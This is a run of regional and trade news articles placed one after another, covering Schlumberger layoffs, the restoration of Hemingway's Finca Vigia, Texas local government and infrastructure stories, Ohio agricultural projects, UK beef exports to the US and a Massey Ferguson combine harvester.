But the best benefit to society, Brown said, is that the formation of women-owned companies add to the economy.

The simple answer, Brown said, is more jobs.

dhendricks@express-news.net
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Schlumberger Ltd. cut another 2,000 jobs in the first quarter as the worlds largest provider of oil field services sees the industry in a full-scale crisis.

The reduction sent the companys global headcount down to about 93,000 at the end of the first quarter, Joao Felix, a spokesman for the company, said by email.

The decline in global activity and the rate of activity disruption reached unprecedented levels as the industry displayed clear signs of operating in a full-scale cash crisis, Chairman and Chief Executive Officer Paal Kibsgaard said in an earnings report Thursday.

Profit fell as the company adjusts to shrinking margins in North America during the worst crude market crash in a generation.

First-quarter profit declined to $501 million, or 40 cents a share, from $975 million, or 76 cents, a year earlier, the Houston- and Paris-based company said in a statement Thursday. The profit was 1 cent more than the 39-cent average of 37 analysts estimates compiled by Bloomberg.

Challenges from the collapse in crude prices can be seen in the worlds largest hydraulic fracturing market, North America, where Schlumberger was expected to generate an operating profit margin at break-even, according to Capital One Southcoast. Thats better than smaller competitors reporting margins as low as negative 30 percent.

Break-even is the new up, Luke Lemoine, an analyst at Capital One in New Orleans who rates the shares the equivalent of a buy and owns none, said before the results were released. In this environment, its hard to defend the 5 percent margins in North America they had talked about.

The global energy industry has slashed more than $100 billion in spending and 250,000 jobs to keep pace with crude prices that have tumbled by more than half since June 2014. More pain is being felt as the industry cuts further production in an oversupplied market.

Today the E&P industry finds itself in the deepest financial crisis on record, with profitability and cash flow at unsustainable levels for most oil and gas operators, Chief Executive Officer Paal Kibsgaard told investors last month at a conference in New Orleans.

Voter Guide: What to know for the midterm election Your guide to the Texas and San Antonio races and candidates on the Nov. 8 ballot.

Schlumberger has laid off about 34,000 workers since the third quarter of 2014 as it seeks to cut costs. The company announced earlier this month plans to cut back activity in Venezuela, holder of the biggest oil reserves of any country, due to unpaid bills.

The second quarter is expected to get worse for Schlumberger, with North American margins dipping as much as 4 percent into the red, Lemoine said.

A lot of it is carrying excess costs, he said. Service companies have cut personnel and facilities, but theyre unwilling to cut to the bone. So, they are maintaining some slack in capacity.

The earnings statement was released after the close of regular trading in New York.
In 1960, the U.S. ambassador to Cuba drove 9 miles outside Havana to Finca Vigia, where he had been a guest several times, to inform Ernest Hemingway that Washington was planning to sever ties with Fidel Castros fledgling Communist government.

He said that American officials thought it would be best if Hemingway demonstrated his patriotism by giving up his beloved tropical home, Valerie Hemingway, his secretary at the time and future daughter-in-law, recalled in a 2007 article for Smithsonian magazine. He resisted the suggestion, fiercely.

Hemingway, who committed suicide a year later, loved Cuba, and Cuba loved him.

Castro, a great admirer of the macho writer, took control of Finca Vigia, or Lookout Farm, and it became a museum  the Museo Hemingway  in 1963.

Hemingway lived at Finca Vigia from 1939 to 1960 and wrote seven books there, including The Old Man and the Sea, A Moveable Feast and Islands in the Stream. Kept just as it was, it remains one of the most popular tourist destinations in the country.

Its a virtual time capsule, said William Dupont, professor of architecture at the University of Texas at San Antonio, who for the past 11 years has been a hands-on consultant on the restoration of Hemingways Cuba home. All the trophies, all the liquor bottles are still there, all the books are on the shelves. His Royal typewriter is there in the bedroom, sitting on top of a massive dictionary, as is the animal-skin rug that he stood on while he worked, typing standing up because of his back. He got a gift from the Russian ambassador that is still there. Its a little model of Sputnik, a desktop paperweight.

The Cuban government, in conjunction with the Massachusetts-based Finca Vigia Foundation, completed a $1 million restoration of the 1886 stucco home and grounds in 2008 and has been searching for a way to conserve the thousands of documents, photographs and books at the site for years.

In a concrete example of the thawing of U.S./Cuban relations initiated by President Obama, a team of preservationists including Dupont, who is director of the UTSA Center for Cultural Sustainability, will return to Cuba May 8-13 to help Cuban architects, engineers and workers build a new conservation workshop and storage center on the Finca Vigia site.

Mary-Jo Adams, executive director of the Finca Vigia Foundation, said Dupont has helped our project make great strides. His finesse and understanding of the Cuban people has been incredibly important.

What is groundbreaking about this exchange is that a shipment of construction materials valued at more than $900,000 is going to the island along with the American expertise.

Funded primarily by the Caterpillar Foundation and Caterpillar Inc., the AT&T Foundation, the Ford Foundation and American Express, its the first major export of construction materials to Cuba since the U.S. loosened the trade embargo on the island.

Its a big deal for the Cubans, Dupont said. Its a big deal for us, too.

Caterpillar, which donated $500,000 to the Finca Vigia Foundation, is proud to be a part of this significant project, and were committed to being a business and cultural partner with Cuba, Doug Oberhelman, Caterpillar chairman and CEO, said in a statement. We recognize the importance of preserving the rich Hemingway heritage that unites the American and Cuban people.

Since materials can be impossible to obtain in Cuba, the shipment will contain virtually everything needed to build the 2,200-square-foot facility, which will house conservation laboratories and a state-of-the-art, climate-controlled storage facility.

They have plenty of concrete and cement blocks, Dupont said. Theyve got rebar, enough for this little building, so what were sending them is pretty much everything else, which would include windows and doors, roofing material, gutters, tile, ceilings, pipes, plumbing fixtures, wiring  even hardhats and safety glasses. Some of the HVAC is pretty high-tech, so were building it here and then disassembling it to make sure we have all the parts.

Although the building is not an architectural postcard, Dupont said, it represents the literal preservation of Hemingways legacy, including correspondence and books in which he wrote marginalia comments, as well as travel documents, records and notes of where he was at certain times, passports and maps.

Its possible to reconstruct a lot of details of his life and place him in particular areas connected to what hes writing, so its very valuable to scholars of Hemingway, Dupont said. To understand where hes coming from, what his influences are, what hes seeing while hes writing, it makes it possible to map out his life.

Thats what the house contains. So for me as a restoration architect, what were keeping our focus on is the legacy of Hemingway because his spirit still occupies the landscape and the buildings and the grounds. This was his place of artistic inspiration, of artistic creation, and you gain a better understanding by visiting it. And thats what Im trying to help my colleagues in Cuba to preserve. Thats what its all about.

sbennett@express-news.net
CENTER POINT  Kerr County Commissioners plan to issue $5.25 million in debt to help bring sewer service to this small town, where aging septic systems pose a pollution threat to the Guadalupe River.

The Texas Water Development Board will cover much of the estimated $50 million cost of the two-phase project thats been discussed for more than a decade and is still several years from completion.

The state agency committed more than $31.4 million in December to construct the sewage collection system for nearly 900 homes that straddle the river in the unincorporated community in eastern Kerr County.

Many septic systems are old and failing, County Commissioner Jonathan Letz said, and small lot sizes raise pollution concerns even for those still functioning.

The primary objective is protecting the river by getting a large number of residences off septic tanks and onto a sewer system, he said.

Plans call for the debt required for the countys share to be retired within 20 years using a dedicated monthly surcharge included on Center Point residents sewer bills. The exact amount has yet to be set, but Letz estimated Tuesday it would run $30 to $40 a month. A surcharge estimate of $61.69 contained in TDWB documents from December is outdated and inflated, he said.

Commissioners are also expected in May to consider adopting an order that would require residents on lots of one acre or less in Center Point to connect to the sewer service, whether or not their septic tank was performing properly.

Commissioners on Tuesday voted to signal their intent to issue $5.25 million in certificates of obligation next month to cover the countys share of the projects initial phase, which totals about $38.5 million.

Letz said the county will apply next year for more state aid for phase two, a $12 million expansion of Center Points sewage collection system to outlying subdivisions. A county match of about 20 percent would also be required, if those state funds are secured, he said.

Even with most of the money coming from Austin, the sewer initiative is the largest capital project ever administered by the county, Letz said.

Helping communities find affordable solutions for their water and wastewater infrastructure is an important mission of the TWDB, the agencys spokeswoman Merry Klonower said this week. We are very pleased that we could assist Kerr County.

Records show the county qualified for state grant funding in excess of 50 percent of the project cost based on a 2015 finding by the Texas Department of State Health Services that a nuisance dangerous to the public health and safety exists in Center Point due to that lack of adequate wastewater service.

Locals reached this week said they supported the project and would be willing to pay a $40 monthly surcharge to get sewer service.

Having sewers would eliminate the need to pump out the septic tank every few months at The Burger Barn, said Ty Hardin, owner of the cafe on Texas 27.

Were all for it. We want it, he said of sewer service.

George Spradling, owner of Red Barn Antiques, says a reliance on septic systems has stymied potential economic development along the Texas 27 corridor east of Kerrville.

I think most people would like to have sewers to help Center Point grow, he said.

Letz reported widespread backing among residents who attended community meetings on the project initiated by the late Pct. 2 Commissioner Bill Williams more than a decade ago.

Weve been waiting and waiting to hear something, or for them to do something, resident Melinda Ainsworth, 47, said at her home on F.M. 480.

Husband John Ainsworth wasnt put off by the proposed debt service surcharge, saying, We dont mind paying for it.

Also partnering with the county is the Kendall County Water Control & Improvement District No. 1, based in Comfort, which plans to treat the sewage from Center Point and handle billing.

Besides expanding its customer base and infrastructure reach, the district will benefit from upgrades to its wastewater treatment plant  using state and county money  so it can handle the additional demand.

District General Manager Keith Marquart said the Center Point expansion should also help keep district rates in line for all customers.

Theres an economy of scale, he said. The more customers we have, the more the cost of our operations can be spread out.

Getting the waste from Center Point to the districts plant will require constructing a lift station and laying about 30 miles of pipe, for which Kerr County is now seeking route easements. Plans call for the district to maintain the pipes in Kerr County and to acquire ownership of them when the debt is retired, Marquart said.

The project also has the backing of the Upper Guadalupe River Authority, which underwrote early feasibility studies into it.

There are numerous examples of insufficient or failing septic systems currently existing in this area, said Tara Bushnoe, natural resources coordinator for the conservation and reclamation district based in Kerrville.

Improperly treated wastewater is a known source of surface water contamination, and improvements to the wastewater infrastructure in this area will greatly reduce the potential for contamination of the Guadalupe River.

zeke@express-news.net
Mike Garr will begin work Monday as Banderas new city administrator, inheriting a City Hall thats been in turmoil for much of the four months since the departure of his predecessor, Lamar Schulz.

Garr, an assistant librarian at the Bandera County Public Library, was hired Thursday on a split vote by City Council, beating out 30 other applicants for the post that pays $53,000 annually.

A self-declared people person, Garr cast himself as a unifying force for a city government rocked by a spate of firings and resignations. In the most recent example, City Councilwoman Suzanne Schauman plans to soon step down, six months into her second term.

I want to provide some stability here and steer the city in the right direction, get everybody pulling in the same direction, said Garr, a former firefighter in Michigan who has a masters degree in public administration.

Hes resigned the library job, where he worked beside Mayor John Hegemier, the library director.

The vote to hire Garr was three to one, with Schauman abstaining. Councilwoman Rebeca Gibson voting against it.

Hegemier votes only to break ties but said he backed the choice.

He knows the city well, has an excellent work ethic and is very organized, Hegemier said of Garr, 65, who lives just outside town.

Schauman, who has handled many city administrative duties since Schulz resigned in December, said she will resign, effective after the next council meeting, because Hegemier refused her request that he resign so she could replace him as mayor.

I asked John to step down because he is not a leader. Hes a people pleaser, said Schauman, who had also sought the city administrators job but later withdrew her application. Its because of the current leadership, or lack thereof, that I can no longer serve on council.

Hegemier doesnt share her views on his leadership, but said, I appreciate everything Suzanne has done for the city and I wish shed stayed around.

He said the council hasnt indicated whether it will appoint someone to fill Shaumans seat or leave it vacant until its filled by election.

Just days after Schulz ended his 19-month tenure as administrator, the council fired the city inspector and city secretary for alleged misconduct. The council fired the city treasurer last month.

......Sherrie Hamilton was hired in January as city secretary and the inspectors duties are now contracted out, to a company called Bureau Veritas, as are the finance officers duties, to Rose Garr, the new city administrators wife.

Hegemier is concerned  and expects constituents also are  about the perception of city affairs being handled by a husband-wife team, but calls that arrangement temporary.

I want to keep Rose at least until we have the situation under control so we can turn the books over to the new treasurer where theres no issues and everything is up to date, he said Friday.

He hopes the new faces help resolve the municipal upheaval.

Im looking forward to the turmoil dissipating pretty quickly, the mayor said.

zeke@express-news.net
The budget bill for next fiscal year working its way through Congress now includes $135 million for a new federal courthouse in San Antonio, officials announced Wednesday, prompting cautious celebration from civic leaders.

San Antonio is eighth on a priority list to get a new federal courthouse to replace the aging, problem-plagued building in Hemisfair Park, and the budget contains $948 million for all eight projects and to finish three others in cities where construction has already begun, according to an aide for U.S. Sen. John Cornyn.

The building here falls woefully short of meeting the community's needs, and a new facility that keeps the judges, staff, and folks who use it every day safe and secure is long overdue, Cornyn, R-Texas, said in a statement. I look forward to working with San Antonios bipartisan delegation to get this bill over the finish line.

The omnibus spending bill must pass a full vote by the Senate and House and be signed by President Barack Obama but local officials believe that we will be successful, Mayor Ivy Taylor said at a news conference at City Hall. Were cautiously optimistic that this will happen over the course of the weekend.

Its a testament to the character of San Antonio to see the bipartisan effort that has gone forward in order to promote this communitys top federal priority, she added.

In September, U.S. Rep. Henry Cuellar  joined by fellow Democratic Reps. Joaquin Castro and Lloyd Doggett and Republican Reps. Will Hurd and Lamar Smith  introduced a bill in the House seeking $135 million in emergency funding for the courthouse.

It was included in the bill after some behind the scenes negotiating in both chambers in recent weeks. Cornyn worked with the Senate Appropriations Committee to ensure the final bill included the new courthouse under the funding levels Congress agreed to in the budget.

In 2010, the federal government and the city of San Antonio entered into a land swap agreement in which the city agreed to trade its old police headquarters site at Nueva and Santa Rosa streets for land now occupied by the current courthouse at Hemisfair Park and an adjacent federal training center.

If the funding is secured, Taylor said, the city will go ahead with plans to redevelop Hemisfair Park with parks and mixed-use development.

She and members of the City Councils intergovernmental relations committee  Council members Joe Krier, Rebecca Viagran and Ron Nirenberg  have traveled to Washington on several occasions, sometimes with judges and San Antonio Chamber of Commerce members, to lobby for the funding.

Were not doing this because we want to have another federal expenditure in San Antonio, said Krier, who chairs the panel. Were doing this because we believe, and the mayor believes, that we owe it as citizens to provide our judges ... with the safest possible facility. They are dealing with some of the worst criminals that this country has ever seen.

Bexar County Judge Nelson Wolfe noted that the county has an interest in the courthouses design plans because it will be doing work along nearby San Pedro Creek soon, perhaps early next year.

He added that the county recently voted to demolish the old county jail on Nueva Street, across from where the new federal facility will be located, which ties in pretty good with the building of the courthouse, and the creek itself, Wolfe said. All this is just a major step forward.

Richard Perez, president and CEO of the Chamber, called the courthouse funding an amazing opportunity. He gave credit to all involved in the lobbying effort, thanking in particular Cornyn and Cuellar. This was that big speed bump that was holding us back to really be able to pull out that court and turn that old Hemisfair Park into the new Hemisfair Park.

Cuellar, a member of the House Appropriations Committee, released a statement noting the push for funding was backed by the entire San Antonio congressional delegation. He praised Cornyns role, and, along with Hurd, he thanked U.S. Rep. Ander Crenshaw, a Florida Republican who chairs the appropriations subcommittee that handled the request.

U.S. District Judge Xavier Rodriguez, who has led the courts charge for a new courthouse for about a decade, estimated the project could take up to four years to complete even if the funding is approved and all goes as planned. He also thanked Cornyn and Cuellar.

Weve got security issues that still remain; weve got lead in the water and the (General Services Administration) has partly remedied that situation; weve had our third infestation of fleas, and we have continuing HVAC system difficulties, Rodriguez said of the current building. I think I can speak on behalf of my staff that were all willing to put up with a few more fleas for a couple of years.

Lake Flato Architects began the courts design phase a few years ago with half of $12 million the federal government set aside for that aspect, Rodriguez said. Half of the design phase is done and he said it would take six to eight months to finish the rest.

After that, the GSA, which maintains federal buildings, must put the construction out to bid. The new building is estimated to exceed 300,000 square feet, Rodriguez said.

Optimistically, were looking at three and a half to four years before wed be able to move in, Rodriguez said.

The eventual fate of the existing federal courthouse has yet to be determined, said Andres Andujar, CEO of the Hemisfair Park Area Redevelopment Corp., the nonprofit charged with overseeing the citys redevelopment of the 1968 world fair site  a massive project that will be completed in phases.

The city wont take ownership of the courthouse until the new facility has been built and in use, but HPARC and city officials can beging discussing alternatives for the site, which will likely involve demolishing the old courthouse, he said.

First, the organization will complete Civic Park and Tower Park  segments within Hemisfair. Tower Park, which will be adjacent to the courthouse site, will be constructed in the 2018-2020 time frame, Andujar said  about the time the city will likely take control of the courthouse.

I think this is showing the momentum going on downtown, Perez said. There are some people questioning, saying There is not enough going on downtown. I would be the first to say, Just look at whats happening.

Staff Writer Josh Baugh contributed to this report.

gcontreras@express-news.net
AUSTIN  A criminal investigation into Texas Agriculture Commissioner Sid Miller has just begun, and while it is far too early to speculate about its result, one candidate is putting his name forward for any opening necessitated by a resignation: Jim Hogan, the Cleburne farmer who opted not to campaign when the Democratic Party nominated him to run against Miller in 2014.

Hogan said in an interview that he has been closely following the news about Miller and believes it could end in him being appointed by Gov. Greg Abbott to fill the position.

"Well, of course," Hogan said. "If you had a tournament and the first guy was disqualified, wouldn't you pick the guy that got second? Why would you pick someone who got out in the quarterfinals?"

Miller, a first-term Republican, is under an investigation by the Texas Department of Public Safety for allegedly spending state money for personal gain. The probe centers on two February 2015 trips  one to Oklahoma, where he appears to have gotten a medical injection known as "The Jesus Shot" and one to Mississippi, where he competed in a rodeo.

Miller used campaign money to repay the state for the Mississippi trip a few weeks afterward. He repaid the state for the Oklahoma trip after he was asked questions about it from a newspaper reporter.

For Hogan, the spending is troubling, but he said he also was disturbed by another aspect that had not gotten very much attention  the fact that both trips took place during work days.

"I'm just different," Hogan said. "If I wanted to go to a rodeo, I guess I'd find one on a Saturday."

Hogan was best known during the 2014 election for running the most unconventional "campaign" in recent years. The Cleburne farmer and insurance salesman did not hold any events or do any advertising, and he was just as shocked as anyone when he beat out two prominent Democrats in the primary.

Despite the investigation into Miller, Hogan said he did not regret his 2014 campaign.

"I ran it my way. I wanted to run it without money," said Hogan, who said he voted for U.S. Sen. Bernie Sanders in last month's Democratic presidential primary. "I wanted to set a good example."

Hogan said he hoped Miller would survive the investigation and avoid drama in the future because he just wants the best for the Texas agriculture industry.

"I just hope it turns out OK," he said.

"But if something did happen, I think the governor should give me a call," he said.

brian.rosenthal@chron.com
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Castle Hills Church has put its sprawling 20-acre campus up for sale, providing a rare opportunity for a large-scale development in the sought-after North Side enclave of Castle Hills.

Castle Hills Mayor Tim Howell said he and other residents are hoping the propertys location  along the increasingly busy Northwest Military Highway, close to North Star Mall and one of H-E-Bs higher-end grocery stores, the Alon Market H-E-B  will attract a mixed-use development similar to the Alamo Quarry Market.

The best way I could put it is mini-Pearl, said Howell, who has lived in Castle Hills for 62 years. This is location, location, location.

The property, which the church has occupied since the 1950s, has attracted interest from charter schools and multifamily developers, said sales agent Jonathan Collins, a partner at local firm Valcor Commercial Real Estate. Howell said prominent developers have approached him about the site.

Real estate brochure with maps, photos of property

The Baptist church plans to keep up with San Antonios growth by opening several locations to replace the central one it has now, executive pastor Don Long said. The effort began in January, when the church opened an outpost in Leon Springs.

We are interested in having multiple campuses, Long said. As things grow, the organization has to grow.

The potential sale comes after the churchs attendance has dropped from 2,400 in the mid-1990s to 1,300 last year, according to past news articles and the churchs report to the Southern Baptist Convention, which Long said isnt related to the churchs decision to sell. Attendance has been up in recent years, he said.

The property, at Northwest Military Highway and Winston Lane, includes 130,000 square feet of buildings, a large parking lot and an undeveloped 5-acre lot across the street. The sale does not include the Castle Hills First Baptist School next to the church, which is working on a deal to buy the land its on from the church, Collins said.

Valcors website describes the residentially zoned property as a good spot for a corporate campus, a call center or a university.

We have a few groups that are very close to making offers that were working very closely with, Collins said. He said hes confident a deal will be reached by the end of the year.

The churchs land in Castle Hills, including the site of the school, was appraised for about $5.7 million last year, according to the Bexar Appraisal District. But that amount doesnt represent the full value of the properties because of improvements that have been built on them, Collins said.

A sale of the property could increase tax revenue for Castle Hills if the church is replaced with a development that isnt tax-exempt. Castle Hills, which spans about 2.5 square miles, had a population of about 4,400 in 2014 and a median household income of $88,000, according to the Census Bureau.

The potential increase in tax revenue is huge, and we need that right now, Howell said. We need to take care of our infrastructure that we have, as a city, ignored in past years.

Castle Hills Church has sometimes had a tense relationship with the city and its residents as it has expanded over the years. In the mid-1990s, neighbors fought against the churchs construction of a three-story building and a 105-foot steeple, saying the addition would increase traffic.

The neighborhood around the church has always been a very active neighborhood in protecting their environment, said Lesley Wenger, a member of the Castle Hills City Council who has lived in the city for 19 years.

In 1999, the city of Castle Hills refused to allow a zoning change to let the church build a parking lot on land it bought on Winston Lane. The church responded by suing the city, saying the decision was an abuse of power that caused it to lose its $900,000 investment in the land.

The high-profile lawsuit dragged on for almost five years before the two sides reached a settlement. The land intended for the parking lot remains vacant today and is part of the proposed sale.

The relationship between the church and the city has improved since then, Howell said. This spring, neighborhood residents and church members came together for an Easter egg hunt, he said.

The tension has cooled with the different pastors and the different council members that have come through, he said. We have built strong relationships.

Castle Hills Church was founded in 1953 in a Castle Hills home and has started six other churches in the San Antonio area over its history, according to past reports.

rwebner@express-news.net
WOOSTER, Ohio  Three Ohio farms will open part of their operations to test water quality conservation practices in the Western Lake Erie Basin.

Through a partnership of the Natural Resources Conservation Service and Ohio Farm Bureau Federation, the three farms will open nearly 700 acres to practices that farmers and conservation groups hope will lead to better conservation across the watershed, and statewide.

The farms, known as the Blanchard River Demonstration Farms Network, were announced April 20 in Findlay. They include Kellogg Farm, of Forest, Ohio; the Kurt Farm, of Dunkirk; and the Stateler Farm, of McComb.

The projects will be funded in part through a multi-million dollar investment by USDA, and farm groups, to implement better farming practices in the region. USDA announced an additional $41 million for the watershed in March, bringing the three-year investment to $77 million.

Significant change

Ohios state conservationist, Terry Cosby, said the investment will bring significant change to the landscape, with a lot of boots on the ground, as farmers, researchers and university experts work jointly to improve conservation.

The goal is to put a variety of practices into production at the farms, and open them for public review  including the non-farm public.

Cosby said the three farms will help educate farmers, but also everyone who lives in the watershed.

The goal is that farmers and the public will put those best practices to work on their own land.

Balancing act

Adam Sharp, vice president of public policy for Ohio Farm Bureau, said the Western Lake Erie basin is one of the most important agricultural basins, and fresh water basins, in the world.

We believe, in Farm Bureau, that you can have both of these very important resources co-exist, he said.

Aaron Heilers, of Botkins, Ohio, will serve as project manager. He previously worked as a nutrient management technician for Auglaize Soil and Water Conservation District.

Heilers said there are three main areas the demonstration farms will look at: in-field practices, such as the 4-Rs of nutrient management, and cover crops; edge-of-field practices, such as filter strips and drainage water management; and in-stream practices, such as two-stage ditches.

Practices that work

He said the goal is to find the right combination from each one of those categories that will work best and have the least amount of impact on the farmers bottom line.

The farms will be open during special events held throughout the next several years, and to be announced as theyre planned.

The agriculture community cares about water quality and this is our opportunity to showcase what were doing, Heilers said.

Big investment

Cosby said NRCS will continue to work with all farmers on a voluntary basis, but he hopes they will see the benefit in the demonstration farms, and consider putting together a nutrient management plan for their own operations.

He said USDA is making a big investment in the basin, and accountability will be important.

We need to be doing something pretty quick, we need to show results, he said.

Other partners include:

Hardin and Hancock Soil and Water Conservation Districts; Blanchard River Watershed Partnership; Ohio Federation of Soil and Water Conservation Districts; The Nature Conservancy in Ohio; Ohio Department of Natural Resources; Ohio State University; USDA Agricultural Research; U.S. Geological Service; OSU Extension; Ohio Environmental Protection Agency; and Ohio Department of Agriculture.

Demonstration farm projects:

The Kellogg Farm (Forest, Ohio) project covers 305 acres in a corn/soybean rotation. This site will focus heavily on subsurface nutrient placement and its effect on yields. It also will look at potential fertilizer savings using different methods, timing and placements of cover crops. Other potential practices will include controlled traffic, conservation tillage, and proper storage facilities for on-site fertilizer and fuel tanks. An abandoned water well that is located within the crop field also will be removed.

The Kurt Farm, (Dunkirk, Ohio) will study 168 acres of corn/soybean fields. The project will monitor the effect on water quality of a two-stage ditch that was constructed previously with assistance from The Nature Conservancy. Other studies may look at subsurface placement of nutrients, plus no-till, cover crops, blind inlets, filter strips and nutrient removal technologies. Also planned is the removal of an abandoned gas well.

The Stateler project (McComb, Ohio) includes 208 acres in a corn, soybean and wheat rotation plus a swine wean to finish operation. This site will focus on managing nutrients associated with modern animal agriculture. In addition to existing conservation practices, other practices to be considered are intensive soil testing, drainage water management, tile water treatment systems, paired edge of field testing, alternative cropping rotations, and variable rate nutrient placement. An animal mortality composting facility is also being proposed.

Related coverage:

 USDA says voluntary water quality efforts are working, announces more funding (March 29, 2016).

 Lake Erie study says farmers need to do more, or plant grass (March 24, 2016).
WOOSTER, Ohio  Some major construction and renovation projects are being considered within Ohio State Universitys College of Food, Agricultural and Environmental Sciences  particularly at the OSU-Wooster campus.

Ron Hendrick, acting dean, said theres about a $400 million need for projects that would build and renovate animal sciences buildings, laboratories and teaching space. He spoke April 21 during a public meeting of the Wayne Economic Development Council, in Wooster.

We have a lot of infrastructure needs at the university, Hendrick said, noting that many of the ag colleges buildings are outdated and not well-suited for modern sciences.

Many buildings

He said OSU as a whole has about 1,200 buildings, with more than 500 belonging to the ag college. The college also maintains about 85-90 percent of OSUs total acreage, Hendrick said.

One project on the Wooster campus is a new $34 million entomology building, that would also provide some private-public space, laboratory and environmental sciences space for the Ohio Agricultural Research and Development Center (OARDC), and students of the Agricultural Technical Institute (ATI).

Related: Master plans for OSU CFAES facilities.

Initial designs for that building are finishing up, Hendrick said, and he expects the university could break ground for it in a couple more years. That building would be located near Selby Hall, on the OARDC campus.

Livestock buildings

The livestock and dairy facilities are also expected to see major improvements  though how much and how soon is still being decided.

At a dairy producers meeting April 11, Dave Benfield, associate vice president of ag administration and the new director of OSU-Wooster, noted that most of the universitys animal facilites were built in the 1960s to the 1980s, and many are beyond their lifespan or need major renovation.

Benfield said the university is in the master planning stage  and that the plans are still open to change  but one of the plans is for new beef facilities in Wooster and Columbus, a new swine facility in Wooster, and combining the two Wooster dairy farms.

Dairy improvements

The university currently operates a dairy farm on the ATI campus that serves students, and a second dairy, known as Krauss Dairy, on the OARDC campus. The two dairies will likely be combined, he said, with a new milking system that matches what students can expect to see in the dairy industry when they graduate.

The current dairy system at ATI is only about six years old, and was donated as a gift, but Benfield said it has been problematic with milkers falling off cows and students getting frustrated.

He said the university is also looking at some changes to its Waterman Dairy facility in Columbus. The Waterman farm has been surrounded by development in recent years, and Benfield said the university is exploring other ideas for the farm, including a multispecies facility and an urban dairy.

As for equine, the college is considering co-locating its horse herd with the herd from Veterinary Medicine, at the Alice Lloyd Finley Memorial Veterinary Research Farm, a 133-acre farm in Madison County.

Working with industry

Benfield said it will be important to work with private industry on the improvements  not only to provide funding but also ideas and innovation.

When we get to the point of really getting into the planning gear, were going to have industry help us move forward, so we move forward in the right direction and the proper way, Benfield said. Many of you (businesses) have the most practical applications sometimes.

The Ohio Cattlemens Association board pledged $50,000 in December, toward the construction of a new 31,000 square foot beef facility at the Don Scott Field, in Columbus. That facility would be used for a reproductive physiology lab, arena, offices and beef barn.

Ag careers

The improvements are being planned at a time when ag careers and careers in ag sciences look bright.

Hendrick noted that about 92-94 percent of the universitys ag college graduates are getting jobs at graduation, and colleges student population is increasing.

Across the whole college, about 3,700 students are enrolled, with about 3,200 of those as undergraduates. About 790 students are enrolled at ATI, a leader in two-year degrees in agriculture.

Hendrick said the university will need to add more housing to the Wooster campus as ATI moves forward.

Faculty changes

The projects are being planned at a time when many higher-level faculty in the ag college are in transition. Hendrick will leave OSU in June, to become dean of Michigan State Universitys College of Agriculture and Natural Resources.

OSUs previous ag dean, Bruce McPheron, was named OSUs interim executive vice president and provost in December, and could potentially be named provost or return to the ag college.

The ATI is currently led by Interim Director Jim Kinder, and a new interim director, Thom Janini, will take over Aug. 1. Also, longtime OARDC director Steve Slack retired in December, which led to Benfields new leadership role at OARDC and the current search for Slacks successor.

Related coverage:

 Ohio Cattlemens Association banquet touches on industry issues (Jan. 26, 2016).
British beef and lamb farmers are a step closer to a 60 million a year export boost, following further talks between the UK and the USA to negotiate a deal to access the lucrative American market.

Visiting the US as part of a worldwide initiative is a campaign with the sole purpose to champion British food and drink.

The Environment Secretary met with her American counterpart, United States Secretary of Agriculture Tom Vilsack, in Washington to discuss next steps in securing access to the US market.

The UK submitted a 1,000 page dossier last week to the US Department of Agriculture, detailing the safety and quality of British beef and lamb.

Secretary Vilsack committed to study the paperwork rapidly ahead of agreeing a timetable for inspections of UK beef and lamb plants.

The approval of British plants would be a major breakthrough in recognising the quality and safety of European meat, allowing farmers to start exporting British beef to the United States 300 million consumers for the first time since restrictions on beef imports from the EU were lifted in 2014. The restrictions on lamb are expected to be lifted in early 2017.

The National Farmers' Union believes accessing the lucrative US beef and lamb markets would be hugely advantageous for British livestock farmers.

Last October NFU President Meurig Raymond was in the US pressing USDA trade officials to open up lamb and beef trade.

Following his return he urged the Secretary of State to go to Washington to resolve outstanding US concerns.

Confidence for British livestock sector

NFU livestock board chairman Charles Sercombe said: "Re-opening the US beef and lamb market to UK imports would be an important confidence building measure for the British livestock sector.

"The US is potentially a huge and affluent market that has strong links to the UK as we share history and language.

"Securing access is one thing but building the market is another. We know we have a great product and story to tell and that our grass-fed beef and lamb is up there with the best in the world.

"The NFU asks that all those interested in selling beef and lamb in the US are afforded as much help as they need from the UK Government, AHDB and producers to market the product to US consumers.

"We are currently well placed to exploit any US/EU trade deal and negotiating on our own could delay access.

"We call on the UK Government and authorities to resolve any technical issues as soon as possible and to involve the whole supply chain.

"This might involve inspections to processing facilities. Timetables need to be as short as possible. Lamb in 2017 is encouraging - lets not let a lack of ambition or Government support hold this up or delay it.

"However, average lamb consumption per head in the US is relatively small so targeting our promotion of both UK beef and lamb will be critical identifying the right consumers and areas of the US will be important.

"Strategic planning should start now which involves talking to retailers, food service and import agents."
Massey Ferguson will showcase the tracked version of its MF Delta 9380 combine harvester at this years Cereals, the first time it will have been seen in the UK.

The machine will be equipped with the new 30ft (9.2m) Powerflow cutting table along with Superflow auger, which are also being shown for the first time.

Also on display will be an MF 8700 series tractor, which at 300-400hp is the most powerful range within Massey Fergusons fleet.

'A high output harvester'

The latest generation MF Delta 9380 Combine includes a host of features designed to improve comfort and control, as well as increase capacity and performance.

The machine on show at Cereals is fitted with Massey Fergusons ATRAK low ground pressure track option, which spreads weight over four individual support rollers to give a huge area of contact and better flotation  helping to reduce soil compaction and creating a smoother ride for the operator.

The system also has integrated final drives specifically designed to handle heavier loads and a progressive integrated block suspension for better traction and contour control at high working speeds.

The overall width of machines fitted with tracks remains within 3.5m  particularly useful for road transport.

The machines seven cylinder, 9.8 litre 496hp engine is equipped with third generation Selective Catalytic Reduction (SCR) technology to meet the latest Stage IV/Tier 4 Final emission regulations, ensuring excellent fuel economy and constant power delivery under load.

MF 8700 series - five models in the range, spanning 300-400hp

The combine has working widths of 9.2m or 10.74m when fitted with MFs PowerFlow cutting table  providing continuous active gathering of the crop, which cuts table losses and presents an even heads first feed, powering the crop into the auger.

The performance enhancing Constant Flow system ensures even feeding at all times and is proven to provide a 15% increase in output by automatically matching the forward speed of the combine to the load on the threshing mechanism.

A new patented returns system uses augers to transport the grain and a paddle wheel to deliver the returns back to the shaker shoe.

The size of the clean grain elevator has been increased by up to 50% - helping to further improve overall output, while the 12,500 litre grain tank (available on Flatland models) has an unloading speed of 120 litre/sec.

The spacious Skyline cab comes as standard, offering excellent visibility through sound-absorbing glass, climate control air conditioning and heating with new mirrors and lighting array.

Meanwhile an integrated Auto-Guide xls automatic steering system offers a high degree of accuracy  allowing the combine to take a full cut on each and every run and for field layouts to be set up to minimise short work.

TechData Pro uses GPS to transmit yield map and other data via a Bluetooth connection and mobile phone network.

